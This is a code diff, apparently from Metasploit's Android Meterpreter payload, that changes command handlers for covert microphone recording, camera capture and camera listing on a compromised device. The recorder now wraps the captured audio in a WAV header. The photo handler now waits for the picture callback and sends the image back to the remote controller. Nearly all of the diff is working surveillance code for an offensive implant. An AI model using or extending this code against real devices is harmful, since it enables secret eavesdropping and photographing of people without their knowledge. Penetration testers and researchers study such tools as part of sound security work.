camera fixes and add wav header to audio record

java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_audio_record_android.java

@@ -1,6 +1,9 @@
 
 package com.metasploit.meterpreter.android;
 
+import java.io.ByteArrayOutputStream;
+import java.io.DataOutputStream;
+
 import com.metasploit.meterpreter.Meterpreter;
 import com.metasploit.meterpreter.TLVPacket;
 import com.metasploit.meterpreter.command.Command;
@@ -21,30 +24,52 @@ public class webcam_audio_record_android extends webcam_audio_record implements
     private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1);
     private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2);
 
-    public byte[] getAudioRecorder(int duration) {
+    public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        AudioRecord recorder = null;
+
+        try {
+            int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
             int bufferSize = AudioRecord.getMinBufferSize(AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING);
             int fullBuffer = duration * AUDIO_SAMPLE_RATE;
             if (fullBuffer < bufferSize) {
                 fullBuffer = bufferSize;
             }
-        AudioRecord recorder = new AudioRecord(AudioSource.MIC, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING, fullBuffer);
+
+            recorder = new AudioRecord(AudioSource.MIC, AUDIO_SAMPLE_RATE, AUDIO_CHANNEL_CONFIG, AUDIO_CHANNEL_ENCODING, fullBuffer);
+            DataOutputStream da = new DataOutputStream(baos);
             byte[] buffer = new byte[fullBuffer];
 
-        try {
             recorder.startRecording();
             recorder.read(buffer, 0, buffer.length);
+            
+            short bSamples = (AUDIO_CHANNEL_ENCODING == AudioFormat.ENCODING_PCM_16BIT) ? 16 : 8;
+            short nChannels = (AUDIO_CHANNEL_CONFIG == AudioFormat.CHANNEL_CONFIGURATION_MONO) ? 1 : 2;
+            da.writeBytes("RIFF");
+            da.writeInt(Integer.reverseBytes(36+fullBuffer));
+            da.writeBytes("WAVE");
+            da.writeBytes("fmt ");
+            da.writeInt(Integer.reverseBytes(16)); // Sub-chunk size, 16 for PCM
+            da.writeShort(Short.reverseBytes((short) 1)); // AudioFormat, 1 for PCM
+            da.writeShort(Short.reverseBytes(nChannels));// Number of channels, 1 for mono, 2 for stereo
+            da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE)); // Sample rate
+            da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE*bSamples*nChannels/8)); // Byte rate, SampleRate*NumberOfChannels*BitsPerSample/8
+            da.writeShort(Short.reverseBytes((short)(nChannels*bSamples/8))); // Block align, NumberOfChannels*BitsPerSample/8
+            da.writeShort(Short.reverseBytes(bSamples)); // Bits per sample
+            da.writeBytes("data");
+            da.writeInt(Integer.reverseBytes(fullBuffer));
+            da.write(buffer);
+            da.flush();
+
         } catch (Throwable x) {
             Log.e(webcam_audio_record_android.class.getSimpleName(), "Error reading voice audio ", x);
         } finally {
+            if (recorder != null) {
                 recorder.stop();
                 recorder.release();
             }
-        return buffer;
         }
-
+        response.add(TLV_TYPE_AUDIO_DATA, baos.toByteArray());
-    public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
-        int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
-        response.add(TLV_TYPE_AUDIO_DATA, getAudioRecorder(duration));
         return ERROR_SUCCESS;
     }
 }

java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_get_frame_android.java

@@ -1,26 +1,27 @@
 
 package com.metasploit.meterpreter.android;
 
+import android.graphics.PixelFormat;
+import android.hardware.Camera;
+import android.hardware.Camera.Parameters;
+import android.hardware.Camera.PictureCallback;
+import android.util.Log;
+
 import com.metasploit.meterpreter.Meterpreter;
 import com.metasploit.meterpreter.TLVPacket;
 import com.metasploit.meterpreter.command.Command;
 import com.metasploit.meterpreter.stdapi.webcam_audio_record;
 
-import android.hardware.Camera;
-import android.hardware.Camera.PictureCallback;
-import android.util.Log;
-
 public class webcam_get_frame_android extends webcam_audio_record implements Command {
 
     private static final int TLV_EXTENSIONS = 20000;
     private static final int TLV_TYPE_WEBCAM_IMAGE = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 1);
     private static final int TLV_TYPE_WEBCAM_QUALITY = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 3);
 
-    private volatile byte[] cameraData;
+    private byte[] cameraData;
 
     public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
 
-        @SuppressWarnings("unused")
         int quality = request.getIntValue(TLV_TYPE_WEBCAM_QUALITY);
                 
         try {
@@ -29,20 +30,26 @@ public class webcam_get_frame_android extends webcam_audio_record implements Com
             }
 
             cameraData = null;
+            //Parameters params = webcam_start_android.camera.getParameters();
+            //params.setPictureFormat(PixelFormat.JPEG);
+            //params.set("jpeg-quality", quality);
             webcam_start_android.camera.takePicture(null, null, new PictureCallback() {
                 @Override
                 public void onPictureTaken(byte[] data, Camera camera) {
                     cameraData = data;
+                    synchronized (webcam_get_frame_android.this) {
+                    	webcam_get_frame_android.this.notify();
+                    }
                 }
             });
             
-            int i = 0;
+            synchronized (this) {
-            while (cameraData == null && i < 20) {
+            	wait(10000);
-                Thread.sleep(1000);
-                i++;
             }
 
+            if (cameraData != null) {
             	response.add(TLV_TYPE_WEBCAM_IMAGE, cameraData);
+            }
         } catch (Exception e) {
             Log.e(getClass().getSimpleName(), "webcam error ", e);
         }

java/androidpayload/library/src/com/metasploit/meterpreter/android/webcam_list_android.java

@@ -23,10 +23,10 @@ public class webcam_list_android extends webcam_audio_record implements Command
             Object cameraInfo = null;
             Field field = null;
             int cameraCount = 0;
+            try {
                 Method getNumberOfCamerasMethod = cameraClass.getMethod("getNumberOfCameras");
-            if (getNumberOfCamerasMethod != null) {
                 cameraCount = (Integer)getNumberOfCamerasMethod.invoke(null, (Object[])null);
-            } else {
+            } catch (NoSuchMethodException nsme) {
                 response.add(TLV_TYPE_WEBCAM_NAME, "Default Camera"); // Pre 2.2 device
                 return ERROR_SUCCESS;
             }